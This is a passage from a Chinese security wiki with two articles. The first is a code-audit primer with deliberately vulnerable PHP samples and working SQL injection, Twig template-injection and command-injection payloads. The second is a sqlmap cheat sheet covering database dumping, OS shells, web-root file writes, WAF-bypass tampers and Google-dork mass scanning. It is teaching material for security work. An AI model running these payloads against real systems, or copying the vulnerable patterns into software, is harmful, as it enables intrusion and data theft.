从输入讲起","path":"/wiki/VulnerabilityInsightDocs/一. 从输入讲起.html","content":"总字符数: 10.40K 代码: 3.73K, 文本: 5.40K 预计阅读时间: 40 分钟 安全工程师的核心 在信息安全领域,我们没有安全与否的选择,只有风险权衡的选择 ​ —-达拉·卡恩(Dan Geer) 这句话强调了安全是一个持续的权衡过程,并且对于安全理解的深度以及由此引申的看待安全问题的角度和高度具有重要意义. 安全工程师的定义是什么 体(安全本质):这部分涉及到安全的核心和基础.具体而言,它包括培养安全思维的方法、深入探究漏洞产生的根本原因以及理解漏洞的共性特点.理解安全的本质有助于建立更为健壮的安全体系,从根本上解决安全问题. 用(思考者):这一部分强调在安全工作中需要运用的思维方式.这包括挖掘漏洞时的思维方式、进行代码审计时的思维方式以及在安全开发中需要采用的思维方式.这些思维方式有助于更好地理解和应对安全挑战,而且在各种安全工作中都有一些共性. 术(一线技巧):这部分主要关注在利用漏洞时所使用的工具、代码和框架的选择.具体来说,就是为了攻击不同的漏洞和目标网站,攻击者需要选择合适的工具和技术.这还包括一些”骚操作”和技巧,可以帮助攻击者更有效地利用漏洞. 安全的本质 一切的安全方案设计的基础,都是建立在信任关系上的.我们必须相信一些东西,必须有一些最基本的假设,安全方案才能得以建立;如果我们否定一切,安全方案就会如无源之水,无根之木,无法设计,也无法完成. —道哥 是否信任普通用户的输入? (前台漏洞) 信任水平: 通常不完全信任.前台漏洞涉及用户直接与应用程序交互的部分,因此需要对用户输入进行适当的验证和过滤,以防止恶意输入和攻击. 是否信任管理员用户的输入? (后台漏洞) 信任水平: 一般来说,相对信任.管理员用户通常拥有更高的权限,但仍需要进行输入验证和过滤,以防止误操作或滥用权限. 是否信任升级包、离线升级、在线升级、自动化升级? (供应链攻击) 信任水平: 警惕供应链攻击.对于升级包和各种形式的软件更新,需要确保来自可信源的数字签名和验证.供应链攻击可能通过篡改升级包来引入恶意代码,因此对升级的源头要有高度的信任. 不信任任何输入 (信任对输入的检测逻辑)(逻辑漏洞) 信任水平: 谨慎使用.即便不信任用户输入,也要确保对输入数据的检测逻辑是可靠的.逻辑漏洞可能导致应用程序在处理输入时产生未预期的结果,因此需要仔细审查和测试输入验证的逻辑. 安全方案模型 所有的安全模型,都可以简化成一种最简易的模型. 输入–>检测是否有安全风险–>输出 在这个模型中: 输入: 表示系统接收到的各种数据和信息,通常来自用户、外部系统或其他数据源. 检测是否有安全风险: 表示系统对输入进行安全性检测,以识别和防范潜在的威胁和漏洞.这包括输入验证、身份认证、访问控制等措施. 输出: 表示系统处理输入后生成的结果.这可能是用户界面的响应、数据库更新、或其他对输入做出的具体反应. 尽管这个简单模型强调了输入的安全性检测,但在实际应用中,一个全面的安全模型需要考虑到各个层面,包括但不限于: 系统架构安全: 保护整个系统的设计和组织,防范攻击和非法访问. 访问控制: 控制用户和系统组件对资源的访问权限. 身份认证和授权: 确保只有授权用户能够访问敏感信息和执行关键操作. 加密算法: 保障数据的传输和存储安全,防止数据泄露. 日志记录和监控: 收集和分析系统活动日志,及时发现和应对潜在的安全威胁. 综合考虑这些方面,一个完整的安全模型能够更全面地保障系统的稳定性和用户数据的安全. 综合安全防御体系 输入: NDR (IPS/IDS): 流量和 pcap 包,网络层面的数据. EDR: 进程事件、文件事件、主机 API 调用,主机层面的活动. Webshell 查杀: 文本文件,例如源代码或脚本文件. WAF: API 调用,通常是 HTTP 请求. 检测: NDR (IPS/IDS): 利用 WAF、正则表达式、流量解析、文件分析、威胁情报等手段,检测网络流量中的异常行为. 行为分析,通过分析网络流量中的异常行为来检测潜在的威胁. 结合机器学习算法,提高检测准确性. EDR: 通过监控父子进程关系、检测关系异常、观察非常规 API 调用、敏感文件读取等方式,检测主机上的异常行为. 可能包括沙箱分析,以隔离和分析潜在的威胁. 行为分析,包括检测异常登录模式、异常文件访问模式等. Webshell 查杀: 通过检查是否包含恶意关键字、数据进入是否可疑、是否调用了敏感函数等方式,对文本文件进行恶意代码的检测. 可能包括对文件进行静态和动态分析,以识别隐藏的威胁. 可能使用基于签名和行为的检测方法. WAF: 通过检查 HTTP 请求中是否包含 XSS、SQL 注入等关键字,可能包括使用 AI 进行检测. 对网络流量进行深度包检测,以检测更复杂的攻击. 支持定制规则,允许根据特定应用程序的需求进行定制化. 输出: NDR (IPS/IDS): 对正常流量无动作,对恶意流量进行阻断. EDR: 对异常进行阻断,可能需要杀死相关进程. Webshell 查杀: 对恶意文件进行隔离或删除. WAF: 对异常连接进行中断,防止攻击成功. 这个整合的安全防御体系能够在多个层面上协同工作,形成更为全面和强大的安全保护.在实际应用中,还需要考虑日志管理、事件响应、持续监控等方面的技术和流程. 程序的输入 “所有的输入都是恶意的”,是一种过于绝对和悲观的观点.虽然黑客和攻击者会尝试利用系统的弱点进行攻击,但并不是所有的输入都有恶意,大多数输入是合法的且有用的.因此,我们需要通过输入验证、身份认证、访问控制等手段来筛选和过滤输入数据,以确保系统安全. “一切都与输入息息相关”,则更准确地描述了安全设计中输入的重要性.输入是系统中最重要的组成部分之一,也是漏洞存在的主要因素.从输入入手能够帮助我们挖掘系统的漏洞和弱点,进一步完善安全措施.因此,对输入进行充分的检测和过滤至关重要. Tip: 紧紧抓住输入: 重点关注用户输入: 用户输入通常是潜在的安全风险来源.这包括通过表单、URL 参数、文件上传等方式输入的数据. 考虑各种输入场景: 不仅仅局限于用户直接输入,还需要考虑通过 API 调用、数据库查询等方式引入的数据. 结合不同语言的特点: 理解语言的特性: 每种编程语言都有其独特的特点和安全风险.例如,在 PHP 中可能涉及到变量覆盖,而在 SQL 中可能存在 SQL 注入的风险. 考虑框架和库的影响: 如果应用程序使用了特定的框架或库,需要了解其特有的安全考虑,因为这些框架和库可能会有自己的安全隐患和最佳实践. 跟踪传播链条是否有漏洞: 了解信息流的传播路径: 想象用户输入如何通过应用程序的不同部分传播.从接收输入的地方开始,跟踪数据如何在系统内传递和处理. 关注数据的转换和处理: 注意输入数据在系统中的处理过程,包括解析、验证、处理逻辑等环节. 审计传播链是否有撸点: 查找潜在的撸点: 在传播链中寻找潜在的漏洞和弱点.这可能涉及到未经检查的用户输入、缺乏适当的数据验证、绕过机制的可能性等. 关注漏洞的连锁反应: 如果在传播链中的某个环节发现了漏洞,考虑它可能对系统其他部分的影响,因为漏洞往往会在整个传播链上传播. 通过紧密关注输入、理解编程语言的特性,并深入审计数据传播链,审计人员可以更全面地发现和理解潜在的安全漏洞,从而提高代码审计的效果. 控制流与数据流控制流:定义: 控制流描述了程序中代码执行的路径和流程.它由条件语句(如if和switch)和循环语句(如for和while)以及函数调用等构成. 重要性: 程序逻辑: 控制流决定了程序的逻辑结构,即哪些代码块会被执行,执行的顺序是怎样的. 条件执行: 通过条件语句,可以根据不同的条件选择执行不同的代码块,实现灵活的程序行为. 循环控制: 循环语句允许一部分代码块重复执行,实现对某些任务的重复处理. 示例1234567if x > 0: print("x is positive")else: print("x is non-positive")for i in range(5): print(i) 数据流:定义: 数据流描述了程序中数据的传递和变化.它包括对变量、常量、数组、对象等数据进行定义、赋值、使用和传递的操作. 重要性: 数据传递: 数据流展示了数据在程序中的传递路径,表达了数据从一个地方到另一个地方的流动. 变量状态: 通过数据流,可以了解变量在程序执行过程中的状态变化,追踪数据的来源和去向. 数据处理: 数据流揭示了数据的处理方式,例如对数据的计算、转换和处理等. 示例123x = 10y = x * 2z = y + 5 通过理解控制流和数据流,程序员可以更好地设计和理解程序的结构,代码审计人员也可以通过分析这两个流程来识别潜在的漏洞和安全风险. 12345<html> <body> Hello My Name is: <?php $_GET['name'];?> </body></html> 我们将程序员的代码划分为两个部分:控制流代码和数据流代码. 控制流代码用于控制程序的执行路径,决定代码走向和逻辑流程; 数据流则包括输入数据和程序员事先编写的硬编码数据,用于展示、存储和传递数据. 程序员希望用户输入的一定是数据流,而不是控制流 一旦我们输入的数据 能够以某种方式侵入到控制流时,漏洞就产生了 SQL注入12345678910111213141516171819<?php // 定义数据库连接参数 $hostname = 'localhost'; // 数据库主机名 $username = 'root'; // 数据库用户名 $password = 'root'; // 数据库密码 $database = 'frontenddb'; // 数据库名 // 使用 mysqli_connect() 函数建立数据库连接 $conn = mysqli_connect($hostname, $username, $password, $database); // 从 URL 参数中获取 'id' 参数 $id = $_GET['id']; // 构造 SQL 查询语句,查询 'users' 表中 'id' 列等于传入的 'id' 参数的数据 $sql = "SELECT * FROM users WHERE id = '$id'"; // 使用 mysqli_query() 函数执行 SQL 查询,并将结果保存在 $result 变量中 $result = mysqli_query($conn, $sql);?> 我们来看输入流: 1输入?id---> php字符串变量`$id`--->sql语句 `id = '固定的值(用户输入的)'`--->数据库 这里与语言无关,编程语言知识我们用来表述这就事情的,要考虑的是数据库层面 控制流是SQL语句,整个控制流程,程序员的原意是这样的 1234567?id='1 select * from user -- - 动作: select对象: users目标: *条件:\tkey:id\tvalue:$id // 用户输入 在这里程序员应该通过编程保证用户的输入只能影响结构中的value位置,如果不能保障此结构,就会出现漏洞 假如我们用户输入的是2' and 1=1 #,则到达数据库执行的语句则是select * from users where id = '2' and 1=1 #' 123456789动作: select对象: users目标: *条件:\tand(逻辑与)\tkey:id\tvalue:$id // 用户输入2'\tkey2:1\tvalue2:1 我们在代码层的输入,导致了数据库层的数据流入侵到了控制流 SSTI服务器端模板注入也可以用相同的方式来理解Twig是php的一套模板渲染的组件,但是不规范的渲染参数方式,可能导致模板注入.123456789101112131415161718<?php // 引入 Twig 模板引擎的自动加载器 require_once dirname(__FILE__).'/twig/lib/Twig/Autoloader.php'; // 注册 Twig 自动加载器 Twig_Autoloader::register(true); // 初始化 Twig 模板环境,并指定 Twig_Loader_String 作为加载器 $twig = new Twig_Environment(new Twig_Loader_String()); // 从 GET 请求中获取用户输入的 name 参数,并使用 htmlspecialchars 函数进行 HTML 实体转义 // ENT_QUOTES 表示同时转义单引号和双引号,使用 'UTF-8' 确保字符编码正确处理 $userName = htmlspecialchars($_GET["name"], ENT_QUOTES, 'UTF-8'); // 使用 Twig 的 render 方法渲染模板,传入之前转义后的用户名作为模板变量 // "Hello {{name}}" 是模板字符串,其中 {{name}} 会被替换为传入的变量值 $output = $twig->render("Hello {{name}}", array("name" => $userName)); // 输出渲染后的模板内容 echo $output;?>数据流转:1输入--->php字符串变量`$_GET['name']`--->Twig模板渲染--->发现变量({{name}})--->找到变量name的绑定--->解析字符串--->渲染展示12345678910111213141516<?php // 引入 Twig 模板引擎的自动加载器 require_once dirname(__FILE__).'/twig/lib/Twig/Autoloader.php'; // 注册 Twig 自动加载器 Twig_Autoloader::register(true); // 创建 Twig 环境并设置模板加载器,这里使用字符串作为模板 $twig = new Twig_Environment(new Twig_Loader_String()); // 从用户输入中获取 name 参数 // 注意这里存在安全隐患,未对用户输入进行转义,直接嵌入模板,可能会导致 XSS 攻击 $output = $twig->render("Hello {$_GET['name']}"); // 错误地将用户输入直接嵌入到模板中 // 输出渲染后的内容,如果用户输入包含恶意脚本,将执行这些脚本 echo $output;?>12数据流转:输入--->php字符串变量`$_GET['name']`--->拼接字符串`Hello {$_GET['name']}`作为新变量-->Twig模板渲染--->渲染展示这样就可以进行攻击输入了1{{_self.env..registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id ")}}我们在代码层的输入,导致了Twig模板层的数据流入侵到了控制流 命令执行1234567<?php # 从用户输入中获取 admin 参数 $domain = $_GET["admin"]; # 使用 system 函数执行 ping 命令 echo system('ping '.$domain);?> 命令执行是一个常见的功能,特别是在路由器或其他设备产品中.它用于测试网络联通性和性能. 程序员的原意:在bash中: 12exec:pingarg:$domain 在这里程序员应该通过编程保证用户的输入只能影响结构中的arg位置,如果不能保障结构,就会出现漏洞 12345678ping baidu.com|whoamiexec:\tprocess1: exe:ping arg:baidu.com process2: exe:whoami arg:- 我们在代码层的输入,导致了bash程序层的数据流入侵到了控制流 业务流程问题(逻辑漏洞)很多逻辑漏洞、越权漏洞,往往来自于此.也是现代mvc结构会出现比较多的问题 过度信任用户输入业务功能:输出当前用户的信息 12345678910111213141516171819<?php # 数据库连接参数\t$hostname = 'localhost'; $username = 'root'; $password = 'root'; $database = 'frontenddb'; # 连接数据库 $conn = mysqli_connect($hostname, $username, $password, $database); # 从用户输入中获取 user_id 参数,并将其转为整型\t$user_id = intval($_GET['user_id']); # 构造 SQL 查询语句 $sql = "select * from users where user_id = $user_id"; # 执行 SQL 查询\t$result = mysqli_query($conn, $sql);?> 这是一个典型的越权读取原型了,虽然此处没有产生SQL注入问题,但是在业务逻辑上的校验有缺陷,信任了用户输入的user_id,导致漏洞的产生 不信任用户输入—>信任检测逻辑login.php12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455<?php// 启动会话session_start();// 预设密码$password = "test";// 初始化登录状态$_SESSION['is_login'] = 0;// 检查密码是否正确if ($_GET['password'] == $password) { // 设置登录状态为已登录 $_SESSION['is_login'] = 1; // 设置用户 ID(假定管理员 user_id = 0) $_SESSION['user_id'] = $_GET["user_id"]; // 跳转到用户页面 header("location:/user.php?is_login=1"); exit();} else { // 密码错误的情况 echo "密码错误"; exit();}?>// http://192.168.215.129/login.php?password=test&user_id=123// user.php<?php// 设置响应内容类型及字符集header("content-type:text/html;charset=utf-8");// 启动会话session_start();// 检查登录状态和参数是否匹配if ($_SESSION['is_login'] == $_GET['is_login']) { // 已登录 echo "你登录了"; // 判断用户是否为管理员 if ($_SESSION['user_id'] == 0) { echo "你是管理员"; } else { echo "你不是管理员,付钱"; }} else { // 未登录的情况 echo "没登陆,滚";}?> 这是一个经典的逻辑绕过漏洞,我们可以看到整个流程里面,开发者完全没有信任用户的输入. 对密码进行了校验,校验通过才存Session,并且用户id也是存储于Session中的,没法通过Cookie伪造绕过鉴权 不信任任何输入—>对输入进行检测(实际上就是把信任关系绑定到了对输入检测逻辑上,一旦输入检测逻辑出现了问题,信任关系就被打破,就出现了漏洞) 这套代码就是对输入的检测逻辑出现了漏洞. php是弱类型的语言,在PHP下,NULL==false==0==”” 而$_SESSION的取值来自于Cookie中PHP Session的输入,如果我们不输入Cookie,这里就完全绕过这个校验. 业务流程检测逻辑不规范导致漏洞,是大家今后进行代码审计最经常遇到的.因为业务情况不同,遇到的情况多种多样. 总结与讨论体-用-术看待问题 体: 简单说: 想象漏洞就像污点一样,从某个地方开始,然后在系统中传播.要找到问题,就得分析这个污点的源头(输入触发)、最后停留的地方(汇聚点)、以及中途是如何传播的(传播链gadget). 比喻: 想象成一滴颜料滴在水池中,我们要找到它是从哪儿来的、最后停在哪儿了,以及在水中是怎么扩散的. 用: 简单说: 着重总结那些常常被忽视的入口,考虑到不同编程语言可能有一些小巧妙的”技巧”,特别是在使用PHP等语言时,有很多绕过的方法. 比喻: 想象成在房子中找隐藏的门,有些可能平时被忽视了.而在不同的房间(编程语言)里,有些找门的方法可能会有点”奇技淫巧”. 术: 简单说: 使用各种工具,就像用一把大型探测器一样,先扫描系统中有哪些可能的问题,然后再深入看代码,找到具体的漏洞. 比喻: 像在房间中使用各种仪器,先找到哪里可能有问题,再仔细检查每个角落,确保没有隐藏的风险. 紧紧抓住输入代码审计中的两个主要方面:数据流到控制流的逃逸和业务逻辑可能产生问题的点.让我们深入了解这两点: 数据流到控制流的逃逸 定义: 数据流到控制流的逃逸指的是通过恶意输入或错误处理导致的数据控制权转移到程序的控制流中,可能导致漏洞或不安全的行为. 审计重点: 在代码审计中,需要特别关注用户输入进入程序时,如何被处理并如何影响程序的控制流.这可能包括对输入验证、过滤和编码的审查,以及对程序中涉及控制流判断的地方的仔细分析. 业务逻辑可能产生问题的点 定义: 业务逻辑问题指的是与程序预期功能不符或可能导致安全问题的程序行为. 审计重点: 使用污点分析:通过跟踪数据流中的污点,可以识别出哪些输入影响了关键的控制流判断点. 关注敏感操作:审计人员应关注可能导致业务逻辑问题的关键功能点,例如身份验证、权限检查、加密和解密操作等. 了解业务规则:深入理解应用程序的业务规则和预期行为,以便在审计过程中更好地识别异常或潜在的漏洞. 通过这两个方面的审计,审计人员可以更全面地理解应用程序的运行方式,并识别潜在的安全风险和漏洞. 在审计过程中,结合合适的工具和技术,以及深入的污点分析,可以更快速地筛选出问题,并提供有针对性的建议和修复方案."},{"title":"三. SqlMap使用","path":"/wiki/VulnerabilityInsightDocs/三. SqlMap使用.html","content":"总字符数: 13.31K 代码: 12.79K, 文本: 0.37K 预计阅读时间: 57 分钟 SQLMap使用SQLMAP介绍与常规操作 sqlmap是一个由Python语言编写的开源渗透测试工具,它主要用来检测sql注入漏洞,是一款功能强大的sql漏洞检测利用工具 它可以检测的数据库有:access、mssql、mysql、oracle、postgresql、db2、sqlite等 可以进行sql盲注、union联合注入、显错注入、延迟注入、post注入、cookie注入等 其他功能: 执行命令、列举用户、检测权限、自动破解、数据导出等功能. SQLMAP一般步骤 检测注入点: 使用 SQLMap 运行基本的检测命令,以确定目标网站是否存在 SQL 注入漏洞. 1sqlmap -u "目标URL" --dbs 如果存在注入点,SQLMap 将显示可用的数据库. 获取数据库版本: 获取目标数据库的版本信息,这对后续的攻击非常重要. 1sqlmap -u "目标URL" --banner 获取当前用户: 确定当前数据库用户,以了解当前权限. 1sqlmap -u "目标URL" --current-user 获取数据库: 列举目标数据库. 1sqlmap -u "目标URL" --dbs 获取表: 获取数据库中的表. 1sqlmap -u "目标URL" -D 目标数据库 --tables 获取列: 获取指定表的列. 1sqlmap -u "目标URL" -D 目标数据库 -T 目标表 --columns 获取数据: 获取表中的数据. 1sqlmap -u "目标URL" -D 目标数据库 -T 目标表 -C "列1,列2,列3" --dump SQLMAP基本参数123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960-h 查看帮助选项--is-dba 当前用户权限--dbs 所有数据库--current-db 网站当前数据库--users 所有数据库用户--current-user 当前数据库用户--tables 参数:列表名--columns 参数:列字段--dump 参数:下载数据--dump-all 转存DBMS数据库所有表项目--level 测试等级(1-5),默认为1读取数据库--->读取表---->读取表的列---->获取内容-D 指定数据库-T 指定表-C 指定列--dbms=mysql oracle mssql 指定数据库--passwords\t枚举所有用户密码--roles\t列出数据库管理员角色--privileges 列出数据库管理员权限# 列举数据库系统的架构sqlmap -u "http://10.10.10.197/Less-1/?id=1" --schema --batch --exclude-sysdbs# 探测等级--level# 共有五个等级# 默认为1,sqlmap使用的payload可以在xml/payloads.xml中看到,你也可以根据相应的格式添加自己的payload.这个参数不仅影响使用哪些payload同时也会影响测试的注入点,GET和POST的数据都会测试,HTTP Cookie在level为2的时候就会测试,HTTP User-Agent/Referer头在level为3的时候就会测试.# 总之在你不确定哪个payload或者参数为注入点的时候,为了保证全面性,建议使用高的level值.# 显示调试信息# -v 显示调试信息 有7个级别# 0. 只显示python错误以及严重的信息.# 1. 同时显示基本信息和警告信息.(默认)# 2. 同时显示debug信息.# 3. 同时显示注入的payload.# 4. 同时显示HTTP请求.# 5. 同时显示HTTP响应头.# 6. 同时显示HTTP响应页面.# 风险等级--risk# 共有四个风险等级,# 1. 默认是1会测试大部分的测试语句,# 2. 2会增加基于事件的测试语句,# 3. 3会增加OR语句的SQL注入测试.# 4. 4可能会修改数据库内容# 在有些时候,例如在UPDATE的语句中,注入一个OR的测试语句,可能导致更新的整个表,可能造成很大的风险.# 测试的语句同样可以在xml/payloads.xml中找到,你也可以自行添加payload. SQLMAP获取目标123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195# 参数:-u或者--url# 格式:http(s)://targeturl[:port]/[...]sqlmap -u http://www.target.com/vuln.php?id=1# 从文本中获取多个目标扫描# 参数:-m# 文件中保存url格式如下,sqlmap会一个一个检测www.target1.com/vuln1.php?q=foobarwww.target2.com/vuln2.asp?id=1www.target3.com/vuln3/id/1*# 获取http post请求注入# 参数:-r# sqlmap可以从一个文本文件中获取HTTP请求,这样就可以跳过设置一些其他参数(比如cookie,POST数据,等等).# 比如文本文件内如下:POST /Less-18/ HTTP/1.1Host: 192.168.64.252:8080Content-Length: 38Cache-Control: max-age=0Upgrade-Insecure-Requests: 1Origin: http://192.168.64.252:8080Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.5304.88 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Referer: http://192.168.64.252:8080/Less-18/Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Connection: closeuname=admin&passwd=admin&submit=Submit# 处理Google搜索结果# 参数:-g# sqlmap可以测试注入Google的搜索结果中的GET参数(只获取前100个结果).sqlmap -g "inurl:php?id="# --data# 此参数是把数据以POST方式提交,sqlmap会像检测GET参数一样检测POST的参数.# 例子:sqlmap -u "http://www.cracer.com/cracer.php" --data="id=1"# --param-del# 参数拆分字符# 当GET或POST的数据需要用其他字符分割测试参数的时候需要用到此参数.# 例子:sqlmap -u "http://www.cracer.com/vuln.php" --data="query=foobar;d=1" --param-del=";" # --cookie# 适用于cookie注入# 将参加加入cookie注入测试sqlmap -u "http://www.ntjx.org/jsj/DownloadShow.asp" --cookie "id=9" --table --level 2# --referer# sqlmap可以在请求中伪造HTTP中的referer,当--level参数设定为3或者3以上的时候会尝试对referer注入.# --headers# 可以通过--headers参数来增加额外的http头--hearders "client-ip: 1.1.1.1"# --proxy# 使用--proxy代理是格式为:http://url:port.--proxy=http://127.0.0.1:1080--proxy-file c:/1.txt# 时间控制--delay# 可以设定两个HTTP(S)请求间的延迟,设定为0.5的时候是半秒,默认是没有延迟的.--timeout# 可以设定一个HTTP(S)请求超过多久判定为超时,10.5表示10.5秒,默认是30秒.设定重试超时--retries# 当HTTP(S)超时时,可以设定重新尝试连接次数,默认是3次.设定随机改变的参数值--safe-url,--safe-freq# 有的web应用程序会在你多次访问错误的请求时屏蔽掉你以后的所有请求,这样在sqlmap进行探测或者注入的时候可能造成错误请求而触发这个策略,导致以后无法进行.# 绕过这个策略有两种方式:1. --safe-url:提供一个安全不错误的连接,每隔一段时间都会去访问一下.2. --safe-freq:提供一个安全不错误的连接,每次测试请求之后都会再访问一边安全连接.-p# sqlmap默认测试所有的GET和POST参数,当--level的值大于等于2的时候也会测试HTTP Cookie头的值,当大于等于3的时候也会测试User-Agent和HTTP Referer头的值.但是你可以手动用-p# 参数设置想要测试的参数.例如: -p "id,user-anget"--prefix,--suffix# 有些环境中,需要在注入的payload的前面或者后面加一些字符,来保证payload的正常执行.# 例如,代码中是这样调用数据库的:$query = "SELECT * FROM users WHERE id=('" . $_GET['id'] . "') LIMIT 0, 1"; # 这时你就需要--prefix和--suffix参数了:sqlmap -u "http://192.168.136.131/sqlmap/mysql/get_str_brackets.php?id=1" -p id --prefix "')" --suffix "AND ('abc'='abc"# 这样执行的SQL语句变成:$query = "SELECT * FROM users WHERE id=('1') <PAYLOAD> AND ('abc'='abc') LIMIT 0, 1"; --technique# 这个参数可以指定sqlmap使用的探测技术,默认情况下会测试所有的方式.# 支持的探测方式如下:B: Boolean-based blind SQL injection(布尔型注入)E: Error-based SQL injection(报错型注入)U: UNION query SQL injection(可联合查询注入)S: Stacked queries SQL injection(可多语句查询注入)T: Time-based blind SQL injection(基于时间延迟注入)--union-cols# 默认情况下sqlmap测试UNION查询注入会测试1-10个字段数,当--level为5的时候他会增加测试到50个字段数.设定--union-cols的值应该是一段整数,如:12-16,是测试12-16个字段数.--union-char# 默认情况下sqlmap针对UNION查询的注入会使用NULL字符,但是有些情况下会造成页面返回失败,而一个随机整数是成功的,这是你可以用--union-char只定UNION查询的字符.--second-order# 有些时候注入点输入的数据看返回结果的时候并不是当前的页面,而是另外的一个页面,这时候就需要你指定到哪个页面获取响应判断真假.--second-order后门跟一个判断页面的URL地址.--dump-all,--exclude-sysdbs # 拖库# 使用--dump-all参数获取所有数据库表的内容,可同时加上--exclude-sysdbs只获取用户数据库的表,需要注意在Microsoft SQL Server中master数据库没有考虑成为一个系统数据库,因为有的管理员会把他当初用户数据库一样来使用它.--search,-C,-T,-D# --search可以用来寻找特定的数据库名,所有数据库中的特定表名,所有数据库表中的特定字段.# 可以在一下三种情况下使用:-C后跟着用逗号分割的列名,将会在所有数据库表中搜索指定的列名.-T后跟着用逗号分割的表名,将会在所有数据库中搜索指定的表名-D后跟着用逗号分割的库名,将会在所有数据库中搜索指定的库名.-s,-t# 参数:-s# sqlmap对每一个目标都会在output路径下自动生成一个SQLite文件,如果用户想指定读取的文件路径,就可以用这个参数.保存HTTP(S)日志# 参数:-t# 这个参数需要跟一个文本文件,sqlmap会把HTTP(S)请求与响应的日志保存到那里.--batch# --batch# 用此参数,不需要用户输入,将会使用sqlmap提示的默认值一直运行下去.# 强制使用字符编码--charset# 不使用sqlmap自动识别的(如HTTP头中的Content-Type)字符编码,强制指定字符编码如:# --charset=GBK--flush-session# 如果不想用之前缓存这个目标的session文件,可以使用这个参数.会清空之前的session,重新测试该目标.--hex# 有时候字符编码的问题,可能导致数据丢失,可以使用hex函数来避免:sqlmap -u "http://192.168.48.130/sqlmap/pgsql/get_int.php?id=1" --banner --hex -v 3 --parse-errors--output-dir# sqlmap默认把session文件跟结果文件保存在output文件夹下,用此参数可自定义输出路径 例如:--output-dir=/tmp# 从响应中获取DBMS的错误信息--parse-errors# 有时目标没有关闭DBMS的报错,当数据库语句错误时,会输出错误语句,用词参数可以会显出错误信息.--smart,--mobile# 有时对目标非常多的URL进行测试,为节省时间,只对能够快速判断为注入的报错点进行注入,可以使用此参数.sqlmap -u "http://192.168.21.128/sqlmap/mysql/get_int.php?ca=17&user=foo&id=1" --batch --smart--mobile# 有时服务端只接收移动端的访问,此时可以设定一个手机的User-Agent来模仿手机登陆.sqlmap -u "http://www.target.com/vuln.php?id=1" --mobile--identify-waf# sqlmap可以尝试找出WAF/IPS/IDS保护,方便用户做出绕过方式.目前大约支持30种产品的识别.--check-waf# WAF/IPS/IDS保护可能会对sqlmap造成很大的困扰,如果怀疑目标有此防护的话,可以使用此参数来测试.sqlmap将会使用一个不存在的参数来注入测试# 例如对一个受到ModSecurity WAF保护的MySQL例子:sqlmap -u "http://192.168.21.128/sqlmap/mysql/get_int.php?id=1" --identify-waf -v 3 SQLMAP常用操作1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465# 暴力破解表名参数:--common-tables# 用--tables无法获取到数据库的表时,可以使用此参数.# 是如下情况:1. MySQL数据库版本小于5.0,没有information_schema表.2. 数据库是Microssoft Access,系统表MSysObjects是不可读的(默认).3. 当前用户没有权限读取系统中保存数据结构的表的权限.# 暴力破解的表在txt/common-tables.txt文件中,你可以自己添加.Xx --common-tables -D testdb# 暴力破解列名# 参数:--common-columns# 与暴力破解表名一样,暴力跑的列名在txt/common-columns.txt中.Xx --common-columns -T text -D testdb# POST登录框注入注入点:http://testasp.vulnweb.com/Login.asp# 两种注入方式:sqlmap -u http://testasp.vulnweb.com/Login.asp --formssqlmap -u http://testasp.vulnweb.com/Login.asp --data "tfUName=1&tfUPass=1"# base64编码注入sqlmap -u http://ha.cker.in/index.php?tel=LTEnIG9yICc4OCc9Jzg5 --tamper base64encode.py –dbs# 请求时间延迟参数:--time-sec# 当使用继续时间的盲注时,时刻使用--time-sec参数设定延时时间,默认是5秒# 执行sql语句--sql-query="select @@version"--sql-shell# sqlmap会自动检测确定使用哪种SQL注入技术,如何插入检索语句.# 如果是SELECT查询语句,sqlap将会输出结果.如果是通过SQL注入执行其他语句,需要测试是否支持多语句执行SQL语句.# 文件读写# 从数据库服务器中读取文件参数:--file-read# 当数据库为MySQL,PostgreSQL或Microsoft SQL Server,并且当前用户有权限使用特定的函数.读取的文件可以是文本也可以是二进制文件.sqlmap -u "http://192.168.2.3:81/about/show.php?lang=cn&id=22" --file-read="C:\\Inetpub\\wwwroot\\mysql-php\\1.php"# 文件上传参数:--file-write,--file-dest# 当数据库为MySQL,PostgreSQL或Microsoft SQL Server,并且当前用户有权限使用特定的函数.上传的文件可以是文本也可以是二进制文件.sqlmap -u "http://192.168.2.129/article.php?id=5" --file-write="C:\\1.php" --file-dest="/var/www/html/x.php"# 命令执行参数:--os-cmd,--os-shell# 当数据库为MySQL,PostgreSQL或Microsoft SQL Server,并且当前用户有权限使用特定的函数.# 在MySQL、PostgreSQL,sqlmap上传一个二进制库,包含用户自定义的函数,sys_exec()和sys_eval()# cmd 执行cmd命令(win)# shell 执行当前用户命令 # --os-shell# 自动上传 脚本文件# 返回shell# WAF绕过注入注入点:http://192.168.159.1/news.php?id=1sqlmap -u http://192.168.159.1/news.php?id=1 -v 3 --dbs --batch --tamper "space2morehash.py"# 其他几个space2hash.py base64encode.py charencode.py sqlmap--tamper绕过waf插件注释列表12345678910111213141516171819202122232425262728293031323334353637383940414243# 使用方法: --tamper xxx.pyapostrophemask.py 用UTF-8全角字符替换单引号字符apostrophenullencode.py 用非法双字节unicode字符替换单引号字符appendnullbyte.py 在payload末尾添加空字符编码base64encode.py 对给定的payload全部字符使用Base64编码between.py 分别用"NOT BETWEEN 0 AND #"替换大于号">","BETWEEN # AND #"替换等于号"="bluecoat.py 在SQL语句之后用有效的随机空白符替换空格符,随后用"LIKE"替换等于号"="chardoubleencode.py 对给定的payload全部字符使用双重URL编码(不处理已经编码的字符)charencode.py 对给定的payload全部字符使用URL编码(不处理已经编码的字符)charunicodeencode.py 对给定的payload的非编码字符使用Unicode URL编码(不处理已经编码的字符)concat2concatws.py 用"CONCAT_WS(MID(CHAR(0), 0, 0), A, B)"替换像"CONCAT(A, B)"的实例equaltolike.py 